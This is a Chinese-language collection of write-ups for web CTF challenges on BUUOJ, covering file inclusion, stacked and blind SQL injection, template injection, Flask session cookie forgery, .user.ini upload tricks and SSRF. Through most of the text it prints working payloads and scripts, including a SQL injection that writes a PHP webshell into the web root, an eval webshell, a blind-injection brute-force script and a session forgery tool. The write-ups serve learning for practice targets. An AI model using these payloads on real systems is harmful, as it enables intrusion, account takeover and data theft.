[HCTF 2018]WarmUp
根据源代码里的提示,打开source.php,看到代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问白名单里的hint.php,看到以下提示:
由源码知道,传入file参数,需要截取第一个问号之前的路径满足白名单要求,故在参数里添加?并用../跳目录进行文件包含。payload如下:
[强网杯 2019]随便注
先嘲讽一句...
经尝试,过滤了很多关键字,但可以使用堆叠注入。
1';show databases;#
1';show tables;#
这里学到一个新知识点:预处理命令。
//预定义SQL语句
PREPARE sqla from '[my sql sequece]';
//执行预定义SQL语句
EXECUTE sqla;
//删除预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;
预定义语句也可以通过变量进行传递:
//存储表名
SET @tn = 'hahaha';
//存储SQL语句
SET @sql = concat('select * from ', @tn);
//预定义SQL语句
PREPARE sqla from @sql;
//执行预定义SQL语句
EXECUTE sqla;
根据刚才得到的表名,构造payload:
?inject=1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
第二种:
#?inject=1';set @sql=select flag from supersqli.1919810931114514;PREPARE stmt FROM @sql;EXECUTE stmt;#
#将@sql的值hex编码
?inject=1';set @sql=0x73656C65637420666C61672066726F6D20737570657273716C692E31393139383130393331313134353134;PREPARE stmt FROM @sql;EXECUTE stmt;#
后来看到有大佬利用命令执行获得flag...Orz
/?inject=';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"
先查看了用户为root,然后利用concat拼接和char(46)绕过select和.的检测,将一句话写入网站根目录(根目录为猜测,通常在此目录下),再访问webshell执行命令。
[护网杯 2018]easy_tornado
访问三个文件:
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
学到一个新的注入类型:服务器模板注入 (SSTI ) 。
举个例子:
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)
if __name__ == "__main__":
app.run(debug=True)
一个简单的flask的Web应用程序。运行代码,本地访问"http://127.0.0.1:5000/login",显示如下结果:
访问"http://127.0.0.1:5000/login?name=bob",显示如下结果:
如果攻击者访问
http://127.0.0.1:5000/login?name=bob{{person.secret}}
会发现除了显示了 Hello bob!之外,连同密钥也一起被显示了。
访问
http://127.0.0.1:5000/login?name={{%20config%20}}
会发现服务器的配置显示在页面中了:
修改flask代码即刻修复:
template = '<h2>Hello %s!</h2>' % person['name']
#修改为:
template = '<h2>Hello {{ person.name }}!</h2>'
此时访问
http://127.0.0.1:5000/login?name={{%20config%20}}
就不会显示服务器的敏感信息了。
回到这个题目,由某位大佬的一篇日志可知,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,其中:
- handler: the current RequestHandler object
- RequestHandler.settings:
An alias for self.application.settings.
所以,handler.settings指向RequestHandler.application.settings。
访问http://e5bb0fdf-7e36-4590-baa8-fb3453beaeb2.node3.buuoj.cn/error?msg={{handler.settings}}
,得到cookie_secret:
接下来写个python生成访问flag文件的链接:
import hashlib
def md5_generate(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
if __name__ == "__main__":
cookie_secret = '4b260ce3-4283-44d0-8af9-51c19ca6c861'
file_name = '/fllllllllllllag'
url = 'http://55e5de47-bcbf-46a8-a014-c79336169805.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash='
print(url + md5_generate(cookie_secret + md5_generate(file_name)))
[强网杯 2019]高明的黑客
下载www.tar.gz解压得到一堆php文件,随便打开几个可以看出这些都是webshell,但估计只有一个能用,写个python批量识别里面的所有key,并依次尝试命令执行,执行成功的就是能用的shell。
import os
import re
import queue
import requests
import threading
def find_param(file_name):
with open(path + file_name, 'r') as f:
text = f.read()
try:
req = re.findall(r"= \$_GET\['(.*?)'] \?\?", text)
for r in req:
dic = {}
dic['file_name'] = file_name
dic['key'] = r
params.append(dic)
except Exception as identifier:
pass
def request_test(q):
while True:
i = q.get()
file_name = params[i]['file_name']
key = params[i]['key']
url1 = url + file_name + '?' + key + '=echo%20"otuki"'
req = requests.get(url1).text
if req.find('otuki') != -1:
print(file_name + '?' + key + ' is the shell!')
return
if __name__ == "__main__":
path = './src/'
files = os.listdir(path)
url = 'http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/'
params = []
threads = []
thread_num = 10
for file in files:
find_param(file)
print("共" + str(len(params)) + "个key!")
q = queue.Queue()
for i in range(len(params)):
q.put(i)
for i in range(thread_num):
t = threading.Thread(target=request_test,
args=(q, ),
name="child_thread_%s" % i)
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
[SUCTF 2019]EasySQL
fuzz了一顿,过滤了很多关键字,但没过滤select、from。参考大佬writeup,学到一个新姿势:sql_mode=PIPES_AS_CONCAT。这条语句意思是把管道符当作字符串链接符处理。
而源码里是这样写的(别问为什么知道源码...):
select $post['query']||flag from Flag
构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
这样和源代码拼接就成了:
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
#即
select 1flag from Flag
[HCTF 2018]admin
随便注册个用户登录进去:
源码里提示你不是admin:
然后打开修改密码界面,发现源码里有提示:
找到题目源码,开始代码审计。直接看index.html页面:
可以看到需要以admin身份登录才会显示flag。
关于这道题目网上有多种解法,这里记录两种:
解法一:flask session 伪造
flask的session是存储在客户端cookie中的,我们通过伪造admin用户的cookie从而达到目的。
#cookie
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWiYXcbu1tnUUqmJb8b_v4IKn8PLCx3t5wHbfV5cDzK_9rZrBtvmF-QM-fmAOwqtRtFHE6SDFukEuE2zre8Z5hBon1CYRXQ6ocoXKjOTSgNr10U6bjrgOUW861OlABQ7CaUj8dUS2Ay1NkmkTSWtiO5koK2wibuWZXZBxqtDZySob-JlIYfzOhDTlI7IZpN00xCYWrgOavh0p6_N8LuA5g_LS77fXc1ed3hVImQSVHW2bh9mSDv489jqyBca4XDth6kSjIkdHW0hj1Wqk--KFa9yurt4kHyFH8--cds4bcL7eugZmcLtU_etvEAbw_AM3Wmnx.Xbfatw.ZnNPvaIVy9lE6GZ-LabIYHqJ5Q8
从config.py里也找到了secret_key:ckj123
从网上找了个加解密flask session的脚本:
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help',
dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=True)
parser_encode.add_argument('-t',
'--cookie-structure',
metavar='<string>',
help='Session cookie structure',
required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=False)
parser_decode.add_argument('-c',
'--cookie-value',
metavar='<string>',
help='Session cookie value',
required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解出session:
{'_fresh': True, '_id': b'e22d46511ebb179280957033049d713e63d26a462ec5d58505d0115c1e1550e1614d9847f48c479f9fb70949162f3cf42f9ed4945752141f5b548e8471f7f090', 'csrf_token': b'7d93f2b558ca7f83f7ac80bfe3dd366ceafbcb27', 'image': b'CST1', 'name': 'otuki', 'user_id': '10'}
将'name'字段修改为admin,再进行加密,得到伪造的cookie:
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWjIXcWutbR0XqmJb8b_v4IKn8PLCx3t5wPbQV5cjzK_9rZrBttnD_AEfPzAHy6vRaqOI08EW6wa5TLCt7xnnEWqcUJvE6nJAlStUZiSXBtSuTzJtOuI6RL3pUKcDFThYTkPirxOyDLQ0SaZNZFsTy2SirJDEupVndkHGqUInkygJ_ExsYfzOhDTlI7IZbLtpiE1suQ5o-nakxOf5XMBzBuWlP2yvv111flcgZRJUMkqbh9mSjv489jqSAmNcrp1l6qxGRY5OUthG1Gqk--KFa9yurt4kHyFH8--cd84bsNu75gwzuF2q_vU3CAN4_gE0amnO.XbfjOA.2IC_pij9fKv0xVz_4FOqiNloHeI
修改cookie后刷新页面即可。
解法二:Unicode欺骗
通过代码审计,看到注册、登录、修改密码前都会先将用户名进行小写处理,但不是用python自带的lower函数,而是重新写了个strlower,查看函数定义:
发现这个函数用到了nodeprep.prepare,而这个方法存在漏洞,它会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。这样我们使用ᴬdmin注册用户并登录,发现已经变成Admin:
再进行修改密码操作,实际上是修改的admin账户的密码。之后使用admin登录即可。
[CISCN2019 华北赛区 Day2 Web1]Hack World
fuzz测试了一下,过滤了空格,构造payload:
id=(ascii(substr((select(flag)from(flag)),i,1))=96)
当结果为true时,页面如下:
写个脚本:
import requests
url = 'http://8e4beaa0-c004-4f05-8026-64dfe732a260.node3.buuoj.cn/index.php'
f = 'Hello, glzjin wants a girlfriend'
flag = ''
for i in range(1, 1024):
for j in range(32, 128):
data = {
"id":
"(ascii(substr((select(flag)from(flag)),{y},1))={x})".format(y=i,
x=j)
}
req = requests.post(url, data).text
if f in req:
print(chr(j))
flag += chr(j)
break
print(flag)
没有用二分法,效率比较低。
[SUCTF 2019]CheckIn
源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn
根据源码可知文件数据部分添加图片文件的头即可绕过。先上传一个.user.ini文件,内容如下:
auto_prepend_file=m.jpg
再上传一个图片马,因检测“<?”,故使用一下一句话:
<script language='php'>eval($_REQUEST['cmd']);</script>
之后使用菜刀等远程shell管理工具连接即可。
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.in i文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file、auto_prepend_file,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
01.gif是要包含的文件。
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
[RoarCTF 2019]Easy Calc
查看源码:
其中,”\(("#content")“相当于”document.getElementById("content");“,“\)("#content").val()”相当于”document.getElementById("content").value;“。
尝试列目录:
?num=1;var_dump(scandir(chr(47)))
发现总是报403。
后来知道这里可以利用php的一个特性。php在查询字符串时,首先做两件事:
- 删除空白符
- 将某些字符转换为下划线(包括空格)
在num前加入一个空格,就可以让waf找不到num变量,自然无法检测到num变量里的字母。
? num=1;var_dump(scandir(chr(47)))
发现可疑文件名f1agg,读取这个文件:
#? num= 1;var_dump(file_get_contents(/flag))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]EasySQL
直接万能密码即可。
admin' or 1=1 #
1
#或
admin
1' or 1=1#
[极客大挑战 2019]Havefun
右键源代码看到:
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
get传参即可。
[极客大挑战 2019]Secret File
打开第一个页面,源代码里有个链接
第二个页面点击红色的按钮,发现快速301到了end.php,使用burp的repeater即可看到secr3t.php。
打开看到一段代码:
尝试使用php伪协议读文件:
得到flag。
[网鼎杯 2018]Fakebook
使用nikto扫描目标地址,
发现robots.txt
访问可发现user.php.bak。通过代码审计可发现user.php中的get方法存在SSRF。
通过查看其他WP,使用御剑扫到了flag.php。
先注册一个账户,登录后经尝试发现view页面存在注入,同时得到了绝对路径。
尝试使用报错注入,发现过滤了一些关键字,使用以下payload可直接读取flag.php。
/view.php?no=0+uniOn/**/selEct+1,load_file('/var/www/html/flag.php'),3,4%23
正常解法应该是通过注入得到数据:
view.php?no=0+uniOn/**/selEct+1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()%23
#users
view.php?no=0+uniOn/**/selEct+1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name='users'%23
#no,username,passwd,data
view.php?no=0+uniOn/**/selEct+1,concat(username,'~',passwd,'~',data),3,4 from users%23
#test~ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff~O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:15:"http://test.com";}
发现只有data字段存储了blog内容,而且是以序列化的形式。只要构造字符串使其查询时反序列化并执行其中的payload即可。通过查看源码发现可以使用file://协议读取文件内容。
function get($url)
{
#初始化一个cURL会话,供curl_setopt(),curl_exec()和curl_close()函数使用。
$ch = curl_init();
#请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值
curl_setopt($ch, CURLOPT_URL, $url);
#CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_exec成功时返回 TRUE,或者在失败时返回 FALSE。然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回FALSE
$output = curl_exec($ch);
#curl_getinfo以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
构造序列化字符串:
最终payload:
http://68b8469a-0224-4eed-bf64-531a5046b709.node3.buuoj.cn/view.php?no=0+uniOn/**/selEct+1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users%23
blog栏显示file:///var/www/html/flag.php时即代表执行成功,查看网页源码得到flag.php通过base64编码后的内容,解码即可。
评论